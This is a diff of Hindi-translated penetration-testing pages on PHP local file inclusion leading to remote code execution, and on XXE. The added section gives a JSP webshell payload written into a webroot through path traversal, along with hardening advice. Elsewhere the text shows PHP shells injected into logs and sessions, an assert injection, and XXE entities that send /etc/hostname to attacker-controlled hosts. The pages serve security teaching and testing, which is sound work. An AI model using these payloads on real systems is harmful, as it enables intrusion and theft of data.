PHP में स्थानीय फ़ाइल समावेशन (LFI) जोखिम 'assert' फ़ंक्शन के साथ काफी उच्च होते हैं, जो स्ट्रिंग्स के भीतर कोड को निष्पादित कर सकता है। यह विशेष रूप से समस्याग्रस्त है यदि इनपुट में ".." जैसे निर्देशिका ट्रैवर्सल वर्णों की जांच की जा रही है लेकिन सही तरीके से साफ नहीं किया गया है।
|
||||
PHP में स्थानीय फ़ाइल समावेशन (LFI) जोखिम 'assert' फ़ंक्शन के साथ काम करते समय विशेष रूप से उच्च होते हैं, जो स्ट्रिंग्स के भीतर कोड को निष्पादित कर सकता है। यह विशेष रूप से समस्याग्रस्त है यदि इनपुट में ".." जैसे निर्देशिका ट्रैवर्सल वर्णों की जांच की जा रही है लेकिन इसे ठीक से साफ नहीं किया गया है।
|
||||
|
||||
उदाहरण के लिए, PHP कोड को इस तरह से निर्देशिका ट्रैवर्सल को रोकने के लिए डिज़ाइन किया जा सकता है:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
जबकि इसका उद्देश्य traversal को रोकना है, यह अनजाने में कोड इंजेक्शन के लिए एक वेक्टर बनाता है। फ़ाइल सामग्री पढ़ने के लिए इसका लाभ उठाने के लिए, एक हमलावर उपयोग कर सकता है:
|
||||
जब इसका उद्देश्य traversal को रोकना है, यह अनजाने में कोड इंजेक्शन के लिए एक वेक्टर बनाता है। फ़ाइल की सामग्री पढ़ने के लिए इसका लाभ उठाने के लिए, एक हमलावर उपयोग कर सकता है:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
@ -408,34 +408,80 @@ assert("strpos('$file', '..') === false") or die("");
|
||||
## PHP ब्लाइंड पाथ ट्रैवर्सल
|
||||
|
||||
> [!WARNING]
|
||||
> यह तकनीक उन मामलों में प्रासंगिक है जहाँ आप **PHP फ़ंक्शन** के **फ़ाइल पथ** को **नियंत्रित** करते हैं जो **एक फ़ाइल** तक **पहुँचता** है लेकिन आप फ़ाइल की सामग्री नहीं देखेंगे (जैसे **`file()`** का एक साधारण कॉल) लेकिन सामग्री नहीं दिखाई देती।
|
||||
> यह तकनीक उन मामलों में प्रासंगिक है जहाँ आप **PHP फ़ंक्शन** के **फाइल पथ** को **नियंत्रित** करते हैं जो **एक फ़ाइल** तक **पहुँचता** है लेकिन आप फ़ाइल की सामग्री नहीं देखेंगे (जैसे **`file()`** का एक साधारण कॉल) लेकिन सामग्री नहीं दिखाई देती।
|
||||
|
||||
[**इस अद्भुत पोस्ट**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) में यह समझाया गया है कि कैसे एक ब्लाइंड पाथ ट्रैवर्सल को PHP फ़िल्टर के माध्यम से **एक त्रुटि ओरेकल के माध्यम से फ़ाइल की सामग्री को एक्सफिल्ट्रेट** करने के लिए दुरुपयोग किया जा सकता है।
|
||||
|
||||
संक्षेप में, तकनीक **"UCS-4LE" एन्कोडिंग** का उपयोग कर रही है ताकि एक फ़ाइल की सामग्री इतनी **बड़ी** हो जाए कि फ़ाइल को खोलने वाला **PHP फ़ंक्शन** एक **त्रुटि** उत्पन्न करेगा।
|
||||
|
||||
फिर, पहले अक्षर को लीक करने के लिए फ़िल्टर **`dechunk`** का उपयोग किया जाता है अन्य फ़िल्टर जैसे **base64** या **rot13** के साथ और अंततः फ़िल्टर **convert.iconv.UCS-4.UCS-4LE** और **convert.iconv.UTF16.UTF-16BE** का उपयोग **अन्य अक्षरों को शुरुआत में रखने और उन्हें लीक करने** के लिए किया जाता है।
|
||||
फिर, पहले अक्षर को लीक करने के लिए फ़िल्टर **`dechunk`** का उपयोग किया जाता है साथ ही अन्य जैसे **base64** या **rot13** और अंततः फ़िल्टर **convert.iconv.UCS-4.UCS-4LE** और **convert.iconv.UTF16.UTF-16BE** का उपयोग **अन्य अक्षरों को शुरुआत में रखने और उन्हें लीक करने** के लिए किया जाता है।
|
||||
|
||||
**संभावित रूप से कमजोर फ़ंक्शन**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (केवल लक्षित पढ़ने के लिए इस के साथ)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
**संभावित रूप से कमजोर फ़ंक्शन**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (केवल लक्ष्य पढ़ने के लिए इस के साथ)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
तकनीकी विवरण के लिए उल्लेखित पोस्ट की जाँच करें!
|
||||
तकनीकी विवरण के लिए उल्लेखित पोस्ट की जांच करें!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
### रिमोट फ़ाइल समावेश
|
||||
### पाथ ट्रैवर्सल के माध्यम से मनमाना फ़ाइल लेखन (वेबशेल RCE)
|
||||
|
||||
जब सर्वर-साइड कोड जो फ़ाइलों को इनजेस्ट/अपलोड करता है, उपयोगकर्ता-नियंत्रित डेटा (जैसे, फ़ाइल का नाम या URL) का उपयोग करके गंतव्य पथ बनाता है बिना इसे कैनोनिकलाइज और मान्य किए, `..` खंड और पूर्ण पथ इच्छित निर्देशिका से बाहर निकल सकते हैं और मनमाना फ़ाइल लेखन कर सकते हैं। यदि आप पेलोड को एक वेब-प्रदर्शित निर्देशिका के तहत रख सकते हैं, तो आप आमतौर पर एक वेबशेल गिराकर बिना प्रमाणीकरण के RCE प्राप्त करते हैं।
|
||||
|
||||
विशिष्ट शोषण कार्यप्रवाह:
|
||||
- एक एंडपॉइंट या बैकग्राउंड वर्कर में एक लेखन प्राइमिटिव की पहचान करें जो एक पथ/फ़ाइल नाम स्वीकार करता है और सामग्री को डिस्क पर लिखता है (जैसे, संदेश-प्रेरित इनजेशन, XML/JSON कमांड हैंडलर, ZIP एक्सट्रैक्टर्स, आदि)।
|
||||
- वेब-प्रदर्शित निर्देशिकाओं का निर्धारण करें। सामान्य उदाहरण:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → `shell.jsp` गिराएं
|
||||
- IIS: `C:\inetpub\wwwroot\` → `shell.aspx` गिराएं
|
||||
- एक ट्रैवर्सल पथ तैयार करें जो इच्छित संग्रह निर्देशिका से वेब रूट में बाहर निकलता है, और अपनी वेबशेल सामग्री शामिल करें।
|
||||
- गिराए गए पेलोड पर ब्राउज़ करें और कमांड निष्पादित करें।
|
||||
|
||||
नोट्स:
|
||||
- कमजोर सेवा जो लेखन करती है, एक गैर-HTTP पोर्ट पर सुन सकती है (जैसे, TCP 4004 पर एक JMF XML श्रोता)। मुख्य वेब पोर्टल (विभिन्न पोर्ट) बाद में आपके पेलोड को सेवा देगा।
|
||||
- जावा स्टैक्स पर, ये फ़ाइल लेखन अक्सर सरल `File`/`Paths` संयोजन के साथ लागू होते हैं। कैनोनिकलाइजेशन/अनुमति-सूची की कमी मुख्य दोष है।
|
||||
|
||||
सामान्य XML/JMF-शैली का उदाहरण (उत्पाद स्कीमा भिन्न होते हैं - DOCTYPE/बॉडी रैपर ट्रैवर्सल के लिए अप्रासंगिक है):
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<JMF SenderID="hacktricks" Version="1.3">
|
||||
<Command Type="SubmitQueueEntry">
|
||||
<!-- Write outside the intake folder into the webroot via traversal -->
|
||||
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
|
||||
<Data>
|
||||
<![CDATA[
|
||||
<%@ page import="java.io.*" %>
|
||||
<%
|
||||
String c = request.getParameter("cmd");
|
||||
if (c != null) {
|
||||
Process p = Runtime.getRuntime().exec(c);
|
||||
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
|
||||
in.transferTo(out);
|
||||
}
|
||||
}
|
||||
%>
|
||||
]]>
|
||||
</Data>
|
||||
</Command>
|
||||
</JMF>
|
||||
```
|
||||
इस वर्ग की बग्स को हराने के लिए हार्डनिंग:
|
||||
- एक कैनोनिकल पथ पर हल करें और सुनिश्चित करें कि यह अनुमति-सूचीबद्ध बेस डायरेक्टरी का वंशज है।
|
||||
- किसी भी पथ को अस्वीकार करें जिसमें `..`, पूर्ण जड़ें, या ड्राइव अक्षर शामिल हैं; उत्पन्न फ़ाइल नामों को प्राथमिकता दें।
|
||||
- लेखक को एक निम्न-विशिष्टता वाले खाते के रूप में चलाएँ और लिखने की निर्देशिकाओं को सेवा किए गए मूल से अलग करें।
|
||||
|
||||
## रिमोट फ़ाइल समावेश
|
||||
|
||||
पहले समझाया गया, [**इस लिंक का पालन करें**](#remote-file-inclusion)।
|
||||
|
||||
### Apache/Nginx लॉग फ़ाइल के माध्यम से
|
||||
|
||||
यदि Apache या Nginx सर्वर **LFI के लिए कमजोर** है तो आप शामिल फ़ंक्शन के अंदर **`/var/log/apache2/access.log` या `/var/log/nginx/access.log`** तक पहुँचने की कोशिश कर सकते हैं, उपयोगकर्ता एजेंट के अंदर या एक **GET पैरामीटर** के अंदर एक php शेल जैसे **`<?php system($_GET['c']); ?>`** सेट करें और उस फ़ाइल को शामिल करें।
|
||||
यदि Apache या Nginx सर्वर **LFI के लिए संवेदनशील** है शामिल फ़ंक्शन के अंदर, तो आप **`/var/log/apache2/access.log` या `/var/log/nginx/access.log`** तक पहुँचने की कोशिश कर सकते हैं, **यूजर एजेंट** के अंदर या एक **GET पैरामीटर** के अंदर एक php शेल जैसे **`<?php system($_GET['c']); ?>`** सेट करें और उस फ़ाइल को शामिल करें।
|
||||
|
||||
> [!WARNING]
|
||||
> ध्यान दें कि **यदि आप शेल के लिए डबल कोट्स का उपयोग करते हैं** बजाय **साधारण कोट्स के**, तो डबल कोट्स को "_**quote;**_" स्ट्रिंग के लिए संशोधित किया जाएगा, **PHP वहाँ एक त्रुटि फेंकेगा** और **कुछ और निष्पादित नहीं होगा**।
|
||||
>
|
||||
> इसके अलावा, सुनिश्चित करें कि आप **पेलोड को सही ढंग से लिखें** अन्यथा PHP हर बार त्रुटि करेगा जब यह लॉग फ़ाइल को लोड करने की कोशिश करेगा और आपके पास दूसरा अवसर नहीं होगा।
|
||||
> इसके अलावा, सुनिश्चित करें कि आप **पेलोड को सही ढंग से लिखें** अन्यथा PHP हर बार त्रुटि देगा जब यह लॉग फ़ाइल को लोड करने की कोशिश करेगा और आपके पास दूसरा अवसर नहीं होगा।
|
||||
|
||||
यह अन्य लॉग में भी किया जा सकता है लेकिन **सावधान रहें,** लॉग के अंदर कोड URL एन्कोडेड हो सकता है और इससे शेल नष्ट हो सकता है। हेडर **authorisation "basic"** में "user:password" Base64 में होता है और इसे लॉग के अंदर डिकोड किया जाता है। PHPShell को इस हेडर के अंदर डाला जा सकता है।\
|
||||
यह अन्य लॉग में भी किया जा सकता है लेकिन **सावधान रहें,** लॉग के अंदर कोड URL एन्कोडेड हो सकता है और यह शेल को नष्ट कर सकता है। हेडर **अधिकार "बेसिक"** में "यूजर:पासवर्ड" Base64 में होता है और इसे लॉग के अंदर डिकोड किया जाता है। PHPShell को इस हेडर के अंदर डाला जा सकता है।\
|
||||
अन्य संभावित लॉग पथ:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
@ -452,16 +498,16 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
||||
|
||||
### ईमेल के माध्यम से
|
||||
|
||||
**एक मेल भेजें** एक आंतरिक खाते (user@localhost) को जिसमें आपका PHP payload हो जैसे `<?php echo system($_REQUEST["cmd"]); ?>` और उपयोगकर्ता के मेल में शामिल करने की कोशिश करें एक पथ के साथ जैसे **`/var/mail/<USERNAME>`** या **`/var/spool/mail/<USERNAME>`**
|
||||
**एक मेल भेजें** एक आंतरिक खाते (user@localhost) पर जिसमें आपका PHP payload हो जैसे `<?php echo system($_REQUEST["cmd"]); ?>` और उपयोगकर्ता के मेल में शामिल करने की कोशिश करें एक पथ के साथ जैसे **`/var/mail/<USERNAME>`** या **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### /proc/\*/fd/\* के माध्यम से
|
||||
|
||||
1. बहुत सारे शेल अपलोड करें (उदाहरण के लिए: 100)
|
||||
2. शामिल करें [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), जिसमें $PID = प्रक्रिया का PID (ब्रूट फोर्स किया जा सकता है) और $FD फ़ाइल डिस्क्रिप्टर (यह भी ब्रूट फोर्स किया जा सकता है)
|
||||
2. शामिल करें [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), जिसमें $PID = प्रक्रिया का PID (ब्रूट फोर्स किया जा सकता है) और $FD फ़ाइल डिस्क्रिप्टर (ब्रूट फोर्स किया जा सकता है)
|
||||
|
||||
### /proc/self/environ के माध्यम से
|
||||
|
||||
एक लॉग फ़ाइल की तरह, User-Agent में payload भेजें, यह /proc/self/environ फ़ाइल के अंदर परिलक्षित होगा
|
||||
एक लॉग फ़ाइल की तरह, payload को User-Agent में भेजें, यह /proc/self/environ फ़ाइल के अंदर परिलक्षित होगा
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
@ -482,7 +528,7 @@ example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### Via PHP sessions
|
||||
|
||||
जांचें कि क्या वेबसाइट PHP सत्र (PHPSESSID) का उपयोग करती है।
|
||||
जांचें कि क्या वेबसाइट PHP सत्र (PHPSESSID) का उपयोग करती है
|
||||
```
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
@ -506,14 +552,14 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
|
||||
|
||||
### **Via** **vsftpd** _**logs**_
|
||||
|
||||
FTP सर्वर vsftpd के लिए लॉग _**/var/log/vsftpd.log**_ पर स्थित हैं। उस परिदृश्य में जहाँ एक Local File Inclusion (LFI) भेद्यता मौजूद है, और एक उजागर vsftpd सर्वर तक पहुँच संभव है, निम्नलिखित कदमों पर विचार किया जा सकता है:
|
||||
FTP सर्वर vsftpd के लिए लॉग _**/var/log/vsftpd.log**_ पर स्थित हैं। उस परिदृश्य में जहाँ एक Local File Inclusion (LFI) भेद्यता मौजूद है, और एक उजागर vsftpd सर्वर तक पहुँच संभव है, निम्नलिखित कदम उठाए जा सकते हैं:
|
||||
|
||||
1. लॉगिन प्रक्रिया के दौरान उपयोगकर्ता नाम क्षेत्र में एक PHP पेलोड इंजेक्ट करें।
|
||||
2. इंजेक्शन के बाद, _**/var/log/vsftpd.log**_ से सर्वर लॉग प्राप्त करने के लिए LFI का उपयोग करें।
|
||||
|
||||
### Via php base64 filter (using base64)
|
||||
|
||||
जैसा कि [इस](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) लेख में दिखाया गया है, PHP base64 फ़िल्टर बस Non-base64 को अनदेखा करता है। आप इसका उपयोग फ़ाइल एक्सटेंशन जांच को बायपास करने के लिए कर सकते हैं: यदि आप base64 प्रदान करते हैं जो ".php" पर समाप्त होता है, तो यह बस "." को अनदेखा कर देगा और base64 में "php" जोड़ देगा। यहाँ एक उदाहरण पेलोड है:
|
||||
जैसा कि [इस](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) लेख में दिखाया गया है, PHP base64 फ़िल्टर बस Non-base64 को अनदेखा करता है। आप फ़ाइल एक्सटेंशन जांच को बायपास करने के लिए इसका उपयोग कर सकते हैं: यदि आप base64 प्रदान करते हैं जो ".php" पर समाप्त होता है, तो यह बस "." को अनदेखा कर देगा और base64 में "php" जोड़ देगा। यहाँ एक उदाहरण पेलोड है:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
@ -545,7 +591,7 @@ lfi2rce-via-nginx-temp-files.md
|
||||
|
||||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
यदि आपने **Local File Inclusion** पाया है, भले ही आपके पास **सत्र न हो** और `session.auto_start` `Off` हो। यदि आप **`PHP_SESSION_UPLOAD_PROGRESS`** को **multipart POST** डेटा में प्रदान करते हैं, तो PHP आपके लिए **सत्र को सक्षम करेगा**। आप इसका दुरुपयोग करके RCE प्राप्त कर सकते हैं:
|
||||
यदि आपने **Local File Inclusion** पाया है भले ही आपके पास **सत्र न हो** और `session.auto_start` `Off` हो। यदि आप **`PHP_SESSION_UPLOAD_PROGRESS`** को **multipart POST** डेटा में प्रदान करते हैं, तो PHP आपके लिए **सत्र को सक्षम करेगा**। आप इसका दुरुपयोग करके RCE प्राप्त कर सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
@ -561,7 +607,7 @@ lfi2rce-via-temp-file-uploads.md
|
||||
|
||||
### Via `pearcmd.php` + URL args
|
||||
|
||||
जैसा कि [**इस पोस्ट में समझाया गया है**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), स्क्रिप्ट `/usr/local/lib/phppearcmd.php` डिफ़ॉल्ट रूप से php डॉकर छवियों में मौजूद है। इसके अलावा, यह संभव है कि स्क्रिप्ट को URL के माध्यम से तर्क पास किए जाएं क्योंकि यह संकेत दिया गया है कि यदि URL पैरामीटर में `=` नहीं है, तो इसे एक तर्क के रूप में उपयोग किया जाना चाहिए।
|
||||
जैसा कि [**इस पोस्ट में बताया गया है**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), स्क्रिप्ट `/usr/local/lib/phppearcmd.php` डिफ़ॉल्ट रूप से php डॉकर छवियों में मौजूद है। इसके अलावा, यह संभव है कि स्क्रिप्ट को URL के माध्यम से तर्क पास किए जाएं क्योंकि यह संकेत दिया गया है कि यदि URL पैरामीटर में `=` नहीं है, तो इसे एक तर्क के रूप में उपयोग किया जाना चाहिए।
|
||||
|
||||
निम्नलिखित अनुरोध `/tmp/hello.php` में सामग्री `<?=phpinfo()?>` के साथ एक फ़ाइल बनाता है:
|
||||
```bash
|
||||
@ -576,7 +622,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
|
||||
```
|
||||
### Via phpinfo() (file_uploads = on)
|
||||
|
||||
यदि आपने **Local File Inclusion** और एक फ़ाइल पाई है जो **phpinfo()** को प्रदर्शित करती है जिसमें file_uploads = on है, तो आप RCE प्राप्त कर सकते हैं:
|
||||
यदि आपने **Local File Inclusion** और एक फ़ाइल पाई है जो **phpinfo()** को file_uploads = on के साथ प्रदर्शित करती है, तो आप RCE प्राप्त कर सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-phpinfo.md
|
||||
@ -603,7 +649,7 @@ lfi2rce-via-eternal-waiting.md
|
||||
यदि आप किसी भी फ़ाइल को शामिल करते हैं `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (आपको उस त्रुटि को फेंकने के लिए एक ही फ़ाइल को 2 बार शामिल करना होगा)।
|
||||
|
||||
**मुझे नहीं पता कि यह कैसे उपयोगी है लेकिन यह हो सकता है।**\
|
||||
_भले ही आप PHP Fatal Error का कारण बनें, PHP द्वारा अपलोड की गई अस्थायी फ़ाइलें हटा दी जाती हैं।_
|
||||
_भले ही आप एक PHP Fatal Error उत्पन्न करें, PHP द्वारा अपलोड की गई अस्थायी फ़ाइलें हटा दी जाती हैं।_
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -611,6 +657,8 @@ _भले ही आप PHP Fatal Error का कारण बनें, PHP
|
||||
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
|
||||
- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
|
||||
|
||||
{{#file}}
|
||||
EN-Local-File-Inclusion-1.pdf
|
||||
|
||||
@ -6,11 +6,11 @@
|
||||
|
||||
XML एक मार्कअप भाषा है जिसे डेटा संग्रहण और परिवहन के लिए डिज़ाइन किया गया है, जिसमें एक लचीली संरचना है जो वर्णनात्मक नाम वाले टैग के उपयोग की अनुमति देती है। यह HTML से भिन्न है क्योंकि यह पूर्वनिर्धारित टैग के सेट तक सीमित नहीं है। JSON के उदय के साथ XML का महत्व कम हुआ है, इसके प्रारंभिक AJAX प्रौद्योगिकी में भूमिका के बावजूद।
|
||||
|
||||
- **Entities के माध्यम से डेटा प्रतिनिधित्व**: XML में entities डेटा का प्रतिनिधित्व करने की अनुमति देती हैं, जिसमें विशेष वर्ण जैसे `<` और `>` शामिल हैं, जो `<` और `>` के अनुरूप हैं ताकि XML के टैग सिस्टम के साथ संघर्ष से बचा जा सके।
|
||||
- **Entities के माध्यम से डेटा प्रतिनिधित्व**: XML में entities डेटा के प्रतिनिधित्व की अनुमति देती हैं, जिसमें विशेष वर्ण जैसे `<` और `>` शामिल हैं, जो `<` और `>` के अनुरूप हैं ताकि XML के टैग सिस्टम के साथ संघर्ष से बचा जा सके।
|
||||
- **XML तत्वों की परिभाषा**: XML तत्व प्रकारों की परिभाषा की अनुमति देता है, यह बताते हुए कि तत्वों को कैसे संरचित किया जाना चाहिए और उनमें कौन सा सामग्री हो सकती है, जो किसी भी प्रकार की सामग्री से लेकर विशिष्ट बाल तत्वों तक हो सकती है।
|
||||
- **डॉक्यूमेंट टाइप डेफिनिशन (DTD)**: DTDs XML में दस्तावेज़ की संरचना और इसमें शामिल डेटा के प्रकारों को परिभाषित करने में महत्वपूर्ण हैं। ये आंतरिक, बाहरी, या संयोजन हो सकते हैं, यह मार्गदर्शन करते हुए कि दस्तावेज़ों को कैसे स्वरूपित और मान्य किया जाना चाहिए।
|
||||
- **डॉक्यूमेंट टाइप परिभाषा (DTD)**: DTDs XML में दस्तावेज़ की संरचना और इसमें शामिल डेटा के प्रकारों को परिभाषित करने में महत्वपूर्ण हैं। ये आंतरिक, बाहरी, या संयोजन हो सकते हैं, यह मार्गदर्शन करते हुए कि दस्तावेज़ों को कैसे स्वरूपित और मान्य किया जाना चाहिए।
|
||||
- **कस्टम और बाहरी Entities**: XML DTD के भीतर लचीले डेटा प्रतिनिधित्व के लिए कस्टम entities बनाने का समर्थन करता है। बाहरी entities, जिन्हें एक URL के साथ परिभाषित किया गया है, सुरक्षा चिंताओं को उठाती हैं, विशेष रूप से XML External Entity (XXE) हमलों के संदर्भ में, जो XML पार्सर्स द्वारा बाहरी डेटा स्रोतों को संभालने के तरीके का लाभ उठाते हैं: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **पैरामीटर Entities के साथ XXE पहचान**: XXE कमजोरियों का पता लगाने के लिए, विशेष रूप से जब पार्सर सुरक्षा उपायों के कारण पारंपरिक विधियाँ विफल हो जाती हैं, XML पैरामीटर entities का उपयोग किया जा सकता है। ये entities आउट-ऑफ-बैंड पहचान तकनीकों की अनुमति देती हैं, जैसे कि DNS लुकअप या HTTP अनुरोधों को नियंत्रित डोमेन पर ट्रिगर करना, ताकि कमजोरियों की पुष्टि की जा सके।
|
||||
- **पैरामीटर Entities के साथ XXE पहचान**: XXE कमजोरियों का पता लगाने के लिए, विशेष रूप से जब पारंपरिक विधियाँ पार्सर सुरक्षा उपायों के कारण विफल हो जाती हैं, XML पैरामीटर entities का उपयोग किया जा सकता है। ये entities आउट-ऑफ-बैंड पहचान तकनीकों की अनुमति देती हैं, जैसे कि DNS लुकअप या HTTP अनुरोधों को नियंत्रित डोमेन पर ट्रिगर करना, ताकि कमजोरियों की पुष्टि की जा सके।
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
|
||||
@ -68,7 +68,7 @@ XML एक मार्कअप भाषा है जिसे डेटा
|
||||
**Java** आधारित अनुप्रयोगों में **डायरेक्टरी की सामग्री को सूचीबद्ध करना** XXE के माध्यम से संभव हो सकता है, एक पेलोड के साथ जैसे (फाइल के बजाय केवल डायरेक्टरी के लिए पूछना):
|
||||
```xml
|
||||
<!-- Root / -->
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///"><root><foo>&xxe;</foo></root>
|
||||
|
||||
<!-- /etc/ -->
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
|
||||
@ -83,7 +83,7 @@ XML एक मार्कअप भाषा है जिसे डेटा
|
||||
```
|
||||
### Blind SSRF
|
||||
|
||||
**पहले टिप्पणी की गई तकनीक** का उपयोग करके आप सर्वर को एक सर्वर तक पहुँचने के लिए मजबूर कर सकते हैं जिसे आप नियंत्रित करते हैं ताकि यह दिखा सके कि यह कमजोर है। लेकिन, अगर यह काम नहीं कर रहा है, तो शायद इसका कारण यह है कि **XML एंटिटीज़ की अनुमति नहीं है**, इस मामले में आप **XML पैरामीटर एंटिटीज़** का उपयोग करने की कोशिश कर सकते हैं:
|
||||
**पहले टिप्पणी की गई तकनीक** का उपयोग करके आप सर्वर को एक सर्वर तक पहुँचने के लिए मजबूर कर सकते हैं जिसे आप नियंत्रित करते हैं ताकि यह दिखा सके कि यह कमजोर है। लेकिन, अगर यह काम नहीं कर रहा है, तो शायद इसका कारण यह है कि **XML संस्थाएँ अनुमति नहीं दी गई हैं**, इस मामले में आप **XML पैरामीटर संस्थाओं** का उपयोग करने की कोशिश कर सकते हैं:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||
@ -115,22 +115,22 @@ The steps executed by this DTD include:
|
||||
|
||||
हमलावर इस दुर्भावनापूर्ण DTD को अपने नियंत्रण में एक सर्वर पर होस्ट करता है, आमतौर पर एक URL जैसे `http://web-attacker.com/malicious.dtd` पर।
|
||||
|
||||
**XXE Payload:** To exploit a vulnerable application, the attacker sends an XXE payload:
|
||||
**XXE Payload:** एक कमजोर एप्लिकेशन का शोषण करने के लिए, हमलावर एक XXE payload भेजता है:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
यह पेलोड एक XML पैरामीटर एंटिटी `%xxe` को परिभाषित करता है और इसे DTD के भीतर शामिल करता है। जब इसे XML पार्सर द्वारा संसाधित किया जाता है, तो यह पेलोड हमलावर के सर्वर से बाहरी DTD लाता है। फिर पार्सर DTD को इनलाइन में व्याख्या करता है, दुर्भावनापूर्ण DTD में वर्णित चरणों को निष्पादित करता है और `/etc/hostname` फ़ाइल को हमलावर के सर्वर पर एक्सफिल्ट्रेट करता है।
|
||||
यह पेलोड एक XML पैरामीटर एंटिटी `%xxe` को परिभाषित करता है और इसे DTD के भीतर शामिल करता है। जब इसे XML पार्सर द्वारा संसाधित किया जाता है, तो यह पेलोड हमलावर के सर्वर से बाहरी DTD लाता है। फिर पार्सर DTD को इनलाइन में व्याख्यायित करता है, दुर्भावनापूर्ण DTD में वर्णित चरणों को निष्पादित करता है और `/etc/hostname` फ़ाइल को हमलावर के सर्वर पर निकालने का कारण बनता है।
|
||||
|
||||
### त्रुटि आधारित (बाहरी DTD)
|
||||
|
||||
**इस मामले में हम सर्वर को एक दुर्भावनापूर्ण DTD लोड करने के लिए मजबूर करेंगे जो एक त्रुटि संदेश के भीतर एक फ़ाइल की सामग्री दिखाएगा (यह केवल तब मान्य है जब आप त्रुटि संदेश देख सकते हैं)।** [**यहां से उदाहरण।**](https://portswigger.net/web-security/xxe/blind)
|
||||
|
||||
एक XML पार्सिंग त्रुटि संदेश, जो `/etc/passwd` फ़ाइल की सामग्री को प्रकट करता है, एक दुर्भावनापूर्ण बाहरी दस्तावेज़ प्रकार परिभाषा (DTD) का उपयोग करके उत्पन्न किया जा सकता है। यह निम्नलिखित चरणों के माध्यम से किया जाता है:
|
||||
